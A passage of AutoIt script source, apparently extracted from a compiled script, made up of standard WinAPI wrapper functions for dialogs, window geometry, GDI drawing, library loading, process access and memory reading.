  4960. Return __winapi_parsefiledialogpath(DllStructGetData($tpath, "Path"))
  4961. EndIf
  4962. EndFunc
  4963.  
  4964. Func _winapi_getoverlappedresult($hfile, $poverlapped, ByRef $ibytes, $bwait = False)
  4965. Local $aresult = DllCall("kernel32.dll", "bool", "GetOverlappedResult", "handle", $hfile, "ptr", $poverlapped, "dword*", 0, "bool", $bwait)
  4966. If @error OR NOT $aresult[0] Then Return SetError(@error, @extended, False)
  4967. $ibytes = $aresult[3]
  4968. Return $aresult[0]
  4969. EndFunc
  4970.  
  4971. Func _winapi_getparent($hwnd)
  4972. Local $aresult = DllCall("user32.dll", "hwnd", "GetParent", "hwnd", $hwnd)
  4973. If @error Then Return SetError(@error, @extended, 0)
  4974. Return $aresult[0]
  4975. EndFunc
  4976.  
  4977. Func _winapi_getprocaddress($hmodule, $vname)
  4978. Local $stype = "str"
  4979. If IsNumber($vname) Then $stype = "word"
  4980. Local $aresult = DllCall("kernel32.dll", "ptr", "GetProcAddress", "handle", $hmodule, $stype, $vname)
  4981. If @error OR NOT $aresult[0] Then Return SetError(@error, @extended, 0)
  4982. Return $aresult[0]
  4983. EndFunc
  4984.  
  4985. Func _winapi_getprocessaffinitymask($hprocess)
  4986. Local $aresult = DllCall("kernel32.dll", "bool", "GetProcessAffinityMask", "handle", $hprocess, "dword_ptr*", 0, "dword_ptr*", 0)
  4987. If @error OR NOT $aresult[0] Then Return SetError(@error + 10, @extended, 0)
  4988. Local $amask[3]
  4989. $amask[0] = True
  4990. $amask[1] = $aresult[2]
  4991. $amask[2] = $aresult[3]
  4992. Return $amask
  4993. EndFunc
  4994.  
  4995. Func _winapi_getsavefilename($stitle = "", $sfilter = "All files (*.*)", $sinitaldir = ".", $sdefaultfile = "", $sdefaultext = "", $ifilterindex = 1, $iflags = 0, $iflagsex = 0, $hwndowner = 0)
  4996. Local $ipathlen = 4096
  4997. Local $tofn = DllStructCreate($tagopenfilename)
  4998. Local $afiles[1] = [0]
  4999. Local $iflag = $iflags
  5000. Local $asflines = StringSplit($sfilter, "|")
  5001. Local $asfilter[$asflines[0] * 2 + 1]
  5002. Local $istart, $ifinal, $tagfilter
  5003. $asfilter[0] = $asflines[0] * 2
  5004. For $i = 1 To $asflines[0]
  5005. $istart = StringInStr($asflines[$i], "(", 0, 1)
  5006. $ifinal = StringInStr($asflines[$i], ")", 0, -1)
  5007. $asfilter[$i * 2 - 1] = StringStripWS(StringLeft($asflines[$i], $istart - 1), $str_stripleading + $str_striptrailing)
  5008. $asfilter[$i * 2] = StringStripWS(StringTrimRight(StringTrimLeft($asflines[$i], $istart), StringLen($asflines[$i]) - $ifinal + 1), $str_stripleading + $str_striptrailing)
  5009. $tagfilter &= "wchar[" & StringLen($asfilter[$i * 2 - 1]) + 1 & "];wchar[" & StringLen($asfilter[$i * 2]) + 1 & "];"
  5010. Next
  5011. Local $ttitle = DllStructCreate("wchar Title[" & StringLen($stitle) + 1 & "]")
  5012. Local $tinitialdir = DllStructCreate("wchar InitDir[" & StringLen($sinitaldir) + 1 & "]")
  5013. Local $tfilter = DllStructCreate($tagfilter & "wchar")
  5014. Local $tpath = DllStructCreate("wchar Path[" & $ipathlen & "]")
  5015. Local $textn = DllStructCreate("wchar Extension[" & StringLen($sdefaultext) + 1 & "]")
  5016. For $i = 1 To $asfilter[0]
  5017. DllStructSetData($tfilter, $i, $asfilter[$i])
  5018. Next
  5019. DllStructSetData($ttitle, "Title", $stitle)
  5020. DllStructSetData($tinitialdir, "InitDir", $sinitaldir)
  5021. DllStructSetData($tpath, "Path", $sdefaultfile)
  5022. DllStructSetData($textn, "Extension", $sdefaultext)
  5023. DllStructSetData($tofn, "StructSize", DllStructGetSize($tofn))
  5024. DllStructSetData($tofn, "hwndOwner", $hwndowner)
  5025. DllStructSetData($tofn, "lpstrFilter", DllStructGetPtr($tfilter))
  5026. DllStructSetData($tofn, "nFilterIndex", $ifilterindex)
  5027. DllStructSetData($tofn, "lpstrFile", DllStructGetPtr($tpath))
  5028. DllStructSetData($tofn, "nMaxFile", $ipathlen)
  5029. DllStructSetData($tofn, "lpstrInitialDir", DllStructGetPtr($tinitialdir))
  5030. DllStructSetData($tofn, "lpstrTitle", DllStructGetPtr($ttitle))
  5031. DllStructSetData($tofn, "Flags", $iflag)
  5032. DllStructSetData($tofn, "lpstrDefExt", DllStructGetPtr($textn))
  5033. DllStructSetData($tofn, "FlagsEx", $iflagsex)
  5034. Local $ares = DllCall("comdlg32.dll", "bool", "GetSaveFileNameW", "struct*", $tofn)
  5035. If @error OR NOT $ares[0] Then Return SetError(@error + 10, @extended, $afiles)
  5036. Return __winapi_parsefiledialogpath(DllStructGetData($tpath, "Path"))
  5037. EndFunc
  5038.  
  5039. Func _winapi_getstockobject($iobject)
  5040. Local $aresult = DllCall("gdi32.dll", "handle", "GetStockObject", "int", $iobject)
  5041. If @error Then Return SetError(@error, @extended, 0)
  5042. Return $aresult[0]
  5043. EndFunc
  5044.  
  5045. Func _winapi_getstdhandle($istdhandle)
  5046. If $istdhandle < 0 OR $istdhandle > 2 Then Return SetError(2, 0, -1)
  5047. Local Const $ahandle[3] = [-10, -11, -12]
  5048. Local $aresult = DllCall("kernel32.dll", "handle", "GetStdHandle", "dword", $ahandle[$istdhandle])
  5049. If @error Then Return SetError(@error, @extended, -1)
  5050. Return $aresult[0]
  5051. EndFunc
  5052.  
  5053. Func _winapi_getsyscolor($iindex)
  5054. Local $aresult = DllCall("user32.dll", "INT", "GetSysColor", "int", $iindex)
  5055. If @error Then Return SetError(@error, @extended, 0)
  5056. Return $aresult[0]
  5057. EndFunc
  5058.  
  5059. Func _winapi_getsyscolorbrush($iindex)
  5060. Local $aresult = DllCall("user32.dll", "handle", "GetSysColorBrush", "int", $iindex)
  5061. If @error Then Return SetError(@error, @extended, 0)
  5062. Return $aresult[0]
  5063. EndFunc
  5064.  
  5065. Func _winapi_getsystemmetrics($iindex)
  5066. Local $aresult = DllCall("user32.dll", "int", "GetSystemMetrics", "int", $iindex)
  5067. If @error Then Return SetError(@error, @extended, 0)
  5068. Return $aresult[0]
  5069. EndFunc
  5070.  
  5071. Func _winapi_gettextextentpoint32($hdc, $stext)
  5072. Local $tsize = DllStructCreate($tagsize)
  5073. Local $isize = StringLen($stext)
  5074. Local $aret = DllCall("gdi32.dll", "bool", "GetTextExtentPoint32W", "handle", $hdc, "wstr", $stext, "int", $isize, "struct*", $tsize)
  5075. If @error OR NOT $aret[0] Then Return SetError(@error + 10, @extended, 0)
  5076. Return $tsize
  5077. EndFunc
  5078.  
  5079. Func _winapi_gettextmetrics($hdc)
  5080. Local $ttextmetric = DllStructCreate($tagtextmetric)
  5081. Local $aret = DllCall("gdi32.dll", "bool", "GetTextMetricsW", "handle", $hdc, "struct*", $ttextmetric)
  5082. If @error OR NOT $aret[0] Then Return SetError(@error + 10, @extended, 0)
  5083. Return $ttextmetric
  5084. EndFunc
  5085.  
  5086. Func _winapi_getwindow($hwnd, $icmd)
  5087. Local $aresult = DllCall("user32.dll", "hwnd", "GetWindow", "hwnd", $hwnd, "uint", $icmd)
  5088. If @error Then Return SetError(@error, @extended, 0)
  5089. Return $aresult[0]
  5090. EndFunc
  5091.  
  5092. Func _winapi_getwindowdc($hwnd)
  5093. Local $aresult = DllCall("user32.dll", "handle", "GetWindowDC", "hwnd", $hwnd)
  5094. If @error Then Return SetError(@error, @extended, 0)
  5095. Return $aresult[0]
  5096. EndFunc
  5097.  
  5098. Func _winapi_getwindowheight($hwnd)
  5099. Local $trect = _winapi_getwindowrect($hwnd)
  5100. If @error Then Return SetError(@error, @extended, 0)
  5101. Return DllStructGetData($trect, "Bottom") - DllStructGetData($trect, "Top")
  5102. EndFunc
  5103.  
  5104. Func _winapi_getwindowlong($hwnd, $iindex)
  5105. Local $sfuncname = "GetWindowLongW"
  5106. If @AutoItX64 Then $sfuncname = "GetWindowLongPtrW"
  5107. Local $aresult = DllCall("user32.dll", "long_ptr", $sfuncname, "hwnd", $hwnd, "int", $iindex)
  5108. If @error OR NOT $aresult[0] Then Return SetError(@error + 10, @extended, 0)
  5109. Return $aresult[0]
  5110. EndFunc
  5111.  
  5112. Func _winapi_getwindowplacement($hwnd)
  5113. Local $twindowplacement = DllStructCreate($tagwindowplacement)
  5114. DllStructSetData($twindowplacement, "length", DllStructGetSize($twindowplacement))
  5115. Local $aret = DllCall("user32.dll", "bool", "GetWindowPlacement", "hwnd", $hwnd, "struct*", $twindowplacement)
  5116. If @error OR NOT $aret[0] Then Return SetError(@error + 10, @extended, 0)
  5117. Return $twindowplacement
  5118. EndFunc
  5119.  
  5120. Func _winapi_getwindowrect($hwnd)
  5121. Local $trect = DllStructCreate($tagrect)
  5122. Local $aret = DllCall("user32.dll", "bool", "GetWindowRect", "hwnd", $hwnd, "struct*", $trect)
  5123. If @error OR NOT $aret[0] Then Return SetError(@error + 10, @extended, 0)
  5124. Return $trect
  5125. EndFunc
  5126.  
  5127. Func _winapi_getwindowrgn($hwnd, $hrgn)
  5128. Local $aresult = DllCall("user32.dll", "int", "GetWindowRgn", "hwnd", $hwnd, "handle", $hrgn)
  5129. If @error Then Return SetError(@error, @extended, 0)
  5130. Return $aresult[0]
  5131. EndFunc
  5132.  
  5133. Func _winapi_getwindowtext($hwnd)
  5134. Local $aresult = DllCall("user32.dll", "int", "GetWindowTextW", "hwnd", $hwnd, "wstr", "", "int", 4096)
  5135. If @error OR NOT $aresult[0] Then Return SetError(@error + 10, @extended, "")
  5136. Return SetExtended($aresult[0], $aresult[2])
  5137. EndFunc
  5138.  
  5139. Func _winapi_getwindowthreadprocessid($hwnd, ByRef $ipid)
  5140. Local $aresult = DllCall("user32.dll", "dword", "GetWindowThreadProcessId", "hwnd", $hwnd, "dword*", 0)
  5141. If @error Then Return SetError(@error, @extended, 0)
  5142. $ipid = $aresult[2]
  5143. Return $aresult[0]
  5144. EndFunc
  5145.  
  5146. Func _winapi_getwindowwidth($hwnd)
  5147. Local $trect = _winapi_getwindowrect($hwnd)
  5148. If @error Then Return SetError(@error, @extended, 0)
  5149. Return DllStructGetData($trect, "Right") - DllStructGetData($trect, "Left")
  5150. EndFunc
  5151.  
  5152. Func _winapi_getxyfrompoint(ByRef $tpoint, ByRef $ix, ByRef $iy)
  5153. $ix = DllStructGetData($tpoint, "X")
  5154. $iy = DllStructGetData($tpoint, "Y")
  5155. EndFunc
  5156.  
  5157. Func _winapi_globalmemorystatus()
  5158. Local $tmem = DllStructCreate($tagmemorystatusex)
  5159. DllStructSetData($tmem, 1, DllStructGetSize($tmem))
  5160. Local $aret = DllCall("kernel32.dll", "bool", "GlobalMemoryStatusEx", "struct*", $tmem)
  5161. If @error OR NOT $aret[0] Then Return SetError(@error + 10, @extended, 0)
  5162. Local $amem[7]
  5163. $amem[0] = DllStructGetData($tmem, 2)
  5164. $amem[1] = DllStructGetData($tmem, 3)
  5165. $amem[2] = DllStructGetData($tmem, 4)
  5166. $amem[3] = DllStructGetData($tmem, 5)
  5167. $amem[4] = DllStructGetData($tmem, 6)
  5168. $amem[5] = DllStructGetData($tmem, 7)
  5169. $amem[6] = DllStructGetData($tmem, 8)
  5170. Return $amem
  5171. EndFunc
  5172.  
  5173. Func _winapi_guidfromstring($sguid)
  5174. Local $tguid = DllStructCreate($tagguid)
  5175. _winapi_guidfromstringex($sguid, $tguid)
  5176. If @error Then Return SetError(@error + 10, @extended, 0)
  5177. Return $tguid
  5178. EndFunc
  5179.  
  5180. Func _winapi_guidfromstringex($sguid, $pguid)
  5181. Local $aresult = DllCall("ole32.dll", "long", "CLSIDFromString", "wstr", $sguid, "struct*", $pguid)
  5182. If @error Then Return SetError(@error, @extended, False)
  5183. Return $aresult[0]
  5184. EndFunc
  5185.  
  5186. Func _winapi_hiword($ilong)
  5187. Return BitShift($ilong, 16)
  5188. EndFunc
  5189.  
  5190. Func _winapi_inprocess($hwnd, ByRef $hlastwnd)
  5191. If $hwnd = $hlastwnd Then Return True
  5192. For $ii = $__g_ainprocess_winapi[0][0] To 1 Step -1
  5193. If $hwnd = $__g_ainprocess_winapi[$ii][0] Then
  5194. If $__g_ainprocess_winapi[$ii][1] Then
  5195. $hlastwnd = $hwnd
  5196. Return True
  5197. Else
  5198. Return False
  5199. EndIf
  5200. EndIf
  5201. Next
  5202. Local $ipid
  5203. _winapi_getwindowthreadprocessid($hwnd, $ipid)
  5204. Local $icount = $__g_ainprocess_winapi[0][0] + 1
  5205. If $icount >= 64 Then $icount = 1
  5206. $__g_ainprocess_winapi[0][0] = $icount
  5207. $__g_ainprocess_winapi[$icount][0] = $hwnd
  5208. $__g_ainprocess_winapi[$icount][1] = ($ipid = @AutoItPID)
  5209. Return $__g_ainprocess_winapi[$icount][1]
  5210. EndFunc
  5211.  
  5212. Func _winapi_inttofloat($iint)
  5213. Local $tint = DllStructCreate("int")
  5214. Local $tfloat = DllStructCreate("float", DllStructGetPtr($tint))
  5215. DllStructSetData($tint, 1, $iint)
  5216. Return DllStructGetData($tfloat, 1)
  5217. EndFunc
  5218.  
  5219. Func _winapi_isclassname($hwnd, $sclassname)
  5220. Local $sseparator = Opt("GUIDataSeparatorChar")
  5221. Local $aclassname = StringSplit($sclassname, $sseparator)
  5222. If NOT IsHWnd($hwnd) Then $hwnd = GUICtrlGetHandle($hwnd)
  5223. Local $sclasscheck = _winapi_getclassname($hwnd)
  5224. For $x = 1 To UBound($aclassname) - 1
  5225. If StringUpper(StringMid($sclasscheck, 1, StringLen($aclassname[$x]))) = StringUpper($aclassname[$x]) Then Return True
  5226. Next
  5227. Return False
  5228. EndFunc
  5229.  
  5230. Func _winapi_iswindow($hwnd)
  5231. Local $aresult = DllCall("user32.dll", "bool", "IsWindow", "hwnd", $hwnd)
  5232. If @error Then Return SetError(@error, @extended, 0)
  5233. Return $aresult[0]
  5234. EndFunc
  5235.  
  5236. Func _winapi_iswindowvisible($hwnd)
  5237. Local $aresult = DllCall("user32.dll", "bool", "IsWindowVisible", "hwnd", $hwnd)
  5238. If @error Then Return SetError(@error, @extended, 0)
  5239. Return $aresult[0]
  5240. EndFunc
  5241.  
  5242. Func _winapi_invalidaterect($hwnd, $trect = 0, $berase = True)
  5243. Local $aresult = DllCall("user32.dll", "bool", "InvalidateRect", "hwnd", $hwnd, "struct*", $trect, "bool", $berase)
  5244. If @error Then Return SetError(@error, @extended, False)
  5245. Return $aresult[0]
  5246. EndFunc
  5247.  
  5248. Func _winapi_lineto($hdc, $ix, $iy)
  5249. Local $aresult = DllCall("gdi32.dll", "bool", "LineTo", "handle", $hdc, "int", $ix, "int", $iy)
  5250. If @error Then Return SetError(@error, @extended, False)
  5251. Return $aresult[0]
  5252. EndFunc
  5253.  
  5254. Func _winapi_loadbitmap($hinstance, $sbitmap)
  5255. Local $sbitmaptype = "int"
  5256. If IsString($sbitmap) Then $sbitmaptype = "wstr"
  5257. Local $aresult = DllCall("user32.dll", "handle", "LoadBitmapW", "handle", $hinstance, $sbitmaptype, $sbitmap)
  5258. If @error Then Return SetError(@error, @extended, 0)
  5259. Return $aresult[0]
  5260. EndFunc
  5261.  
  5262. Func _winapi_loadimage($hinstance, $simage, $itype, $ixdesired, $iydesired, $iload)
  5263. Local $aresult, $simagetype = "int"
  5264. If IsString($simage) Then $simagetype = "wstr"
  5265. $aresult = DllCall("user32.dll", "handle", "LoadImageW", "handle", $hinstance, $simagetype, $simage, "uint", $itype, "int", $ixdesired, "int", $iydesired, "uint", $iload)
  5266. If @error Then Return SetError(@error, @extended, 0)
  5267. Return $aresult[0]
  5268. EndFunc
  5269.  
  5270. Func _winapi_loadlibrary($sfilename)
  5271. Local $aresult = DllCall("kernel32.dll", "handle", "LoadLibraryW", "wstr", $sfilename)
  5272. If @error Then Return SetError(@error, @extended, 0)
  5273. Return $aresult[0]
  5274. EndFunc
  5275.  
  5276. Func _winapi_loadlibraryex($sfilename, $iflags = 0)
  5277. Local $aresult = DllCall("kernel32.dll", "handle", "LoadLibraryExW", "wstr", $sfilename, "ptr", 0, "dword", $iflags)
  5278. If @error Then Return SetError(@error, @extended, 0)
  5279. Return $aresult[0]
  5280. EndFunc
  5281.  
  5282. Func _winapi_loadshell32icon($iiconid)
  5283. Local $ticons = DllStructCreate("ptr Data")
  5284. Local $iicons = _winapi_extracticonex("shell32.dll", $iiconid, 0, $ticons, 1)
  5285. If @error Then Return SetError(@error, @extended, 0)
  5286. If $iicons <= 0 Then Return SetError(10, 0, 0)
  5287. Return DllStructGetData($ticons, "Data")
  5288. EndFunc
  5289.  
  5290. Func _winapi_loadstring($hinstance, $istringid)
  5291. Local $aresult = DllCall("user32.dll", "int", "LoadStringW", "handle", $hinstance, "uint", $istringid, "wstr", "", "int", 4096)
  5292. If @error OR NOT $aresult[0] Then Return SetError(@error + 10, @extended, "")
  5293. Return SetExtended($aresult[0], $aresult[3])
  5294. EndFunc
  5295.  
  5296. Func _winapi_localfree($hmem)
  5297. Local $aresult = DllCall("kernel32.dll", "handle", "LocalFree", "handle", $hmem)
  5298. If @error Then Return SetError(@error, @extended, False)
  5299. Return $aresult[0]
  5300. EndFunc
  5301.  
  5302. Func _winapi_loword($ilong)
  5303. Return BitAND($ilong, 65535)
  5304. EndFunc
  5305.  
  5306. Func _winapi_makelangid($iprimary, $isub)
  5307. Return BitOR(BitShift($isub, -10), $iprimary)
  5308. EndFunc
  5309.  
  5310. Func _winapi_makelcid($ilgid, $isrtid)
  5311. Return BitOR(BitShift($isrtid, -16), $ilgid)
  5312. EndFunc
  5313.  
  5314. Func _winapi_makelong($ilo, $ihi)
  5315. Return BitOR(BitShift($ihi, -16), BitAND($ilo, 65535))
  5316. EndFunc
  5317.  
  5318. Func _winapi_makeqword($ilodword, $ihidword)
  5319. Local $tint64 = DllStructCreate("uint64")
  5320. Local $tdwords = DllStructCreate("dword;dword", DllStructGetPtr($tint64))
  5321. DllStructSetData($tdwords, 1, $ilodword)
  5322. DllStructSetData($tdwords, 2, $ihidword)
  5323. Return DllStructGetData($tint64, 1)
  5324. EndFunc
  5325.  
  5326. Func _winapi_messagebeep($itype = 1)
  5327. Local $isound
  5328. Switch $itype
  5329. Case 1
  5330. $isound = 0
  5331. Case 2
  5332. $isound = 16
  5333. Case 3
  5334. $isound = 32
  5335. Case 4
  5336. $isound = 48
  5337. Case 5
  5338. $isound = 64
  5339. Case Else
  5340. $isound = -1
  5341. EndSwitch
  5342. Local $aresult = DllCall("user32.dll", "bool", "MessageBeep", "uint", $isound)
  5343. If @error Then Return SetError(@error, @extended, False)
  5344. Return $aresult[0]
  5345. EndFunc
  5346.  
  5347. Func _winapi_msgbox($iflags, $stitle, $stext)
  5348. BlockInput(0)
  5349. MsgBox($iflags, $stitle, $stext & " ")
  5350. EndFunc
  5351.  
  5352. Func _winapi_mouse_event($iflags, $ix = 0, $iy = 0, $idata = 0, $iextrainfo = 0)
  5353. DllCall("user32.dll", "none", "mouse_event", "dword", $iflags, "dword", $ix, "dword", $iy, "dword", $idata, "ulong_ptr", $iextrainfo)
  5354. If @error Then Return SetError(@error, @extended)
  5355. EndFunc
  5356.  
  5357. Func _winapi_moveto($hdc, $ix, $iy)
  5358. Local $aresult = DllCall("gdi32.dll", "bool", "MoveToEx", "handle", $hdc, "int", $ix, "int", $iy, "ptr", 0)
  5359. If @error Then Return SetError(@error, @extended, False)
  5360. Return $aresult[0]
  5361. EndFunc
  5362.  
  5363. Func _winapi_movewindow($hwnd, $ix, $iy, $iwidth, $iheight, $brepaint = True)
  5364. Local $aresult = DllCall("user32.dll", "bool", "MoveWindow", "hwnd", $hwnd, "int", $ix, "int", $iy, "int", $iwidth, "int", $iheight, "bool", $brepaint)
  5365. If @error Then Return SetError(@error, @extended, False)
  5366. Return $aresult[0]
  5367. EndFunc
  5368.  
  5369. Func _winapi_muldiv($inumber, $inumerator, $idenominator)
  5370. Local $aresult = DllCall("kernel32.dll", "int", "MulDiv", "int", $inumber, "int", $inumerator, "int", $idenominator)
  5371. If @error Then Return SetError(@error, @extended, -1)
  5372. Return $aresult[0]
  5373. EndFunc
  5374.  
  5375. Func _winapi_multibytetowidechar($stext, $icodepage = 0, $iflags = 0, $bretstring = False)
  5376. Local $stexttype = "str"
  5377. If NOT IsString($stext) Then $stexttype = "struct*"
  5378. Local $aresult = DllCall("kernel32.dll", "int", "MultiByteToWideChar", "uint", $icodepage, "dword", $iflags, $stexttype, $stext, "int", -1, "ptr", 0, "int", 0)
  5379. If @error OR NOT $aresult[0] Then Return SetError(@error + 10, @extended, 0)
  5380. Local $iout = $aresult[0]
  5381. Local $tout = DllStructCreate("wchar[" & $iout & "]")
  5382. $aresult = DllCall("kernel32.dll", "int", "MultiByteToWideChar", "uint", $icodepage, "dword", $iflags, $stexttype, $stext, "int", -1, "struct*", $tout, "int", $iout)
  5383. If @error OR NOT $aresult[0] Then Return SetError(@error + 20, @extended, 0)
  5384. If $bretstring Then Return DllStructGetData($tout, 1)
  5385. Return $tout
  5386. EndFunc
  5387.  
  5388. Func _winapi_multibytetowidecharex($stext, $ptext, $icodepage = 0, $iflags = 0)
  5389. Local $aresult = DllCall("kernel32.dll", "int", "MultiByteToWideChar", "uint", $icodepage, "dword", $iflags, "STR", $stext, "int", -1, "struct*", $ptext, "int", (StringLen($stext) + 1) * 2)
  5390. If @error Then Return SetError(@error, @extended, False)
  5391. Return $aresult[0]
  5392. EndFunc
  5393.  
  5394. Func _winapi_openprocess($iaccess, $binherit, $ipid, $bdebugpriv = False)
  5395. Local $aresult = DllCall("kernel32.dll", "handle", "OpenProcess", "dword", $iaccess, "bool", $binherit, "dword", $ipid)
  5396. If @error Then Return SetError(@error, @extended, 0)
  5397. If $aresult[0] Then Return $aresult[0]
  5398. If NOT $bdebugpriv Then Return SetError(100, 0, 0)
  5399. Local $htoken = _security__openthreadtokenex(BitOR($token_adjust_privileges, $token_query))
  5400. If @error Then Return SetError(@error + 10, @extended, 0)
  5401. _security__setprivilege($htoken, "SeDebugPrivilege", True)
  5402. Local $ierror = @error
  5403. Local $iextended = @extended
  5404. Local $iret = 0
  5405. If NOT @error Then
  5406. $aresult = DllCall("kernel32.dll", "handle", "OpenProcess", "dword", $iaccess, "bool", $binherit, "dword", $ipid)
  5407. $ierror = @error
  5408. $iextended = @extended
  5409. If $aresult[0] Then $iret = $aresult[0]
  5410. _security__setprivilege($htoken, "SeDebugPrivilege", False)
  5411. If @error Then
  5412. $ierror = @error + 20
  5413. $iextended = @extended
  5414. EndIf
  5415. Else
  5416. $ierror = @error + 30
  5417. EndIf
  5418. _winapi_closehandle($htoken)
  5419. Return SetError($ierror, $iextended, $iret)
  5420. EndFunc
  5421.  
  5422. Func __winapi_parsefiledialogpath($spath)
  5423. Local $afiles[3]
  5424. $afiles[0] = 2
  5425. Local $stemp = StringMid($spath, 1, StringInStr($spath, "\", 0, -1) - 1)
  5426. $afiles[1] = $stemp
  5427. $afiles[2] = StringMid($spath, StringInStr($spath, "\", 0, -1) + 1)
  5428. Return $afiles
  5429. EndFunc
  5430.  
  5431. Func _winapi_pathfindonpath(Const $sfile, $aextrapaths = "", Const $spathdelimiter = @LF)
  5432. Local $iextracount = 0
  5433. If IsString($aextrapaths) Then
  5434. If StringLen($aextrapaths) Then
  5435. $aextrapaths = StringSplit($aextrapaths, $spathdelimiter, $str_entiresplit + $str_nocount)
  5436. $iextracount = UBound($aextrapaths, $ubound_rows)
  5437. EndIf
  5438. ElseIf IsArray($aextrapaths) Then
  5439. $iextracount = UBound($aextrapaths)
  5440. EndIf
  5441. Local $tpaths, $tpathptrs
  5442. If $iextracount Then
  5443. Local $tagstruct = ""
  5444. For $path In $aextrapaths
  5445. $tagstruct &= "wchar[" & StringLen($path) + 1 & "];"
  5446. Next
  5447. $tpaths = DllStructCreate($tagstruct)
  5448. $tpathptrs = DllStructCreate("ptr[" & $iextracount + 1 & "]")
  5449. For $i = 1 To $iextracount
  5450. DllStructSetData($tpaths, $i, $aextrapaths[$i - 1])
  5451. DllStructSetData($tpathptrs, 1, DllStructGetPtr($tpaths, $i), $i)
  5452. Next
  5453. DllStructSetData($tpathptrs, 1, Ptr(0), $iextracount + 1)
  5454. EndIf
  5455. Local $aresult = DllCall("shlwapi.dll", "bool", "PathFindOnPathW", "wstr", $sfile, "struct*", $tpathptrs)
  5456. If @error OR NOT $aresult[0] Then Return SetError(@error + 10, @extended, $sfile)
  5457. Return $aresult[1]
  5458. EndFunc
  5459.  
  5460. Func _winapi_pointfromrect(ByRef $trect, $bcenter = True)
  5461. Local $ix1 = DllStructGetData($trect, "Left")
  5462. Local $iy1 = DllStructGetData($trect, "Top")
  5463. Local $ix2 = DllStructGetData($trect, "Right")
  5464. Local $iy2 = DllStructGetData($trect, "Bottom")
  5465. If $bcenter Then
  5466. $ix1 = $ix1 + (($ix2 - $ix1) / 2)
  5467. $iy1 = $iy1 + (($iy2 - $iy1) / 2)
  5468. EndIf
  5469. Local $tpoint = DllStructCreate($tagpoint)
  5470. DllStructSetData($tpoint, "X", $ix1)
  5471. DllStructSetData($tpoint, "Y", $iy1)
  5472. Return $tpoint
  5473. EndFunc
  5474.  
  5475. Func _winapi_postmessage($hwnd, $imsg, $iwparam, $ilparam)
  5476. Local $aresult = DllCall("user32.dll", "bool", "PostMessage", "hwnd", $hwnd, "uint", $imsg, "wparam", $iwparam, "lparam", $ilparam)
  5477. If @error Then Return SetError(@error, @extended, False)
  5478. Return $aresult[0]
  5479. EndFunc
  5480.  
  5481. Func _winapi_primarylangid($ilgid)
  5482. Return BitAND($ilgid, 1023)
  5483. EndFunc
  5484.  
  5485. Func _winapi_ptinrect(ByRef $trect, ByRef $tpoint)
  5486. Local $aresult = DllCall("user32.dll", "bool", "PtInRect", "struct*", $trect, "struct", $tpoint)
  5487. If @error Then Return SetError(@error, @extended, False)
  5488. Return $aresult[0]
  5489. EndFunc
  5490.  
  5491. Func _winapi_readfile($hfile, $pbuffer, $itoread, ByRef $iread, $poverlapped = 0)
  5492. Local $aresult = DllCall("kernel32.dll", "bool", "ReadFile", "handle", $hfile, "ptr", $pbuffer, "dword", $itoread, "dword*", 0, "ptr", $poverlapped)
  5493. If @error Then Return SetError(@error, @extended, False)
  5494. $iread = $aresult[4]
  5495. Return $aresult[0]
  5496. EndFunc
  5497.  
  5498. Func _winapi_readprocessmemory($hprocess, $pbaseaddress, $pbuffer, $isize, ByRef $iread)
  5499. Local $aresult = DllCall("kernel32.dll", "bool", "ReadProcessMemory", "handle", $hprocess, "ptr", $pbaseaddress, "ptr", $pbuffer, "ulong_ptr", $isize, "ulong_ptr*", 0)
  5500. If @error Then Return SetError(@error, @extended, False)
  5501. $iread = $aresult[5]
  5502. Return $aresult[0]
  5503. EndFunc
  5504.  
  5505. Func _winapi_rectisempty(ByRef $trect)
  5506. Return (DllStructGetData($trect, "Left") = 0) AND (DllStructGetData($trect, "Top") = 0) AND (DllStructGetData($trect, "Right") = 0) AND (DllStructGetData($trect, "Bottom") = 0)
  5507. EndFunc
  5508.  
  5509. Func _winapi_redrawwindow($hwnd, $trect = 0, $hregion = 0, $iflags = 5)
  5510. Local $aresult = DllCall("user32.dll", "bool", "RedrawWindow", "hwnd", $hwnd, "struct*", $trect, "handle", $hregion, "uint", $iflags)
  5511. If @error Then Return SetError(@error, @extended, False)
  5512. Return $aresult[0]
  5513. EndFunc
  5514.  
  5515. Func _winapi_registerwindowmessage($smessage)
  5516. Local $aresult = DllCall("user32.dll", "uint", "RegisterWindowMessageW", "wstr", $smessage)
  5517. If @error Then Return SetError(@error, @extended, 0)
  5518. Return $aresult[0]
  5519. EndFunc
  5520.  
  5521. Func _winapi_releasecapture()
  5522. Local $aresult = DllCall("user32.dll", "bool", "ReleaseCapture")
  5523. If @error Then Return SetError(@error, @extended, False)
  5524. Return $aresult[0]
  5525. EndFunc
  5526.  
  5527. Func _winapi_releasedc($hwnd, $hdc)
  5528. Local $aresult = DllCall("user32.dll", "int", "ReleaseDC", "hwnd", $hwnd, "handle", $hdc)
  5529. If @error Then Return SetError(@error, @extended, False)
  5530. Return $aresult[0]
  5531. EndFunc
  5532.  
  5533. Func _winapi_screentoclient($hwnd, ByRef $tpoint)
  5534. Local $aresult = DllCall("user32.dll", "bool", "ScreenToClient", "hwnd", $hwnd, "struct*", $tpoint)
  5535. If @error Then Return SetError(@error, @extended, False)
  5536. Return $aresult[0]
  5537. EndFunc
  5538.  
  5539. Func _winapi_selectobject($hdc, $hgdiobj)
  5540. Local $aresult = DllCall("gdi32.dll", "handle", "SelectObject", "handle", $hdc, "handle", $hgdiobj)
  5541. If @error Then Return SetError(@error, @extended, False)
  5542. Return $aresult[0]
  5543. EndFunc
  5544.  
  5545. Func _winapi_setbkcolor($hdc, $icolor)
  5546. Local $aresult = DllCall("gdi32.dll", "INT", "SetBkColor", "handle", $hdc, "INT", $icolor)
  5547. If @error Then Return SetError(@error, @extended, -1)
  5548. Return $aresult[0]
  5549. EndFunc
  5550.  
  5551. Func _winapi_setbkmode($hdc, $ibkmode)
  5552. Local $aresult = DllCall("gdi32.dll", "int", "SetBkMode", "handle", $hdc, "int", $ibkmode)
  5553. If @error Then Return SetError(@error, @extended, 0)
  5554. Return $aresult[0]
  5555. EndFunc
  5556.  
  5557. Func _winapi_setcapture($hwnd)
  5558. Local $aresult = DllCall("user32.dll", "hwnd", "SetCapture", "hwnd", $hwnd)
  5559. If @error Then Return SetError(@error, @extended, 0)
  5560. Return $aresult[0]
  5561. EndFunc
  5562.  
  5563. Func _winapi_setcursor($hcursor)
  5564. Local $aresult = DllCall("user32.dll", "handle", "SetCursor", "handle", $hcursor)
  5565. If @error Then Return SetError(@error, @extended, 0)
  5566. Return $aresult[0]
  5567. EndFunc
  5568.  
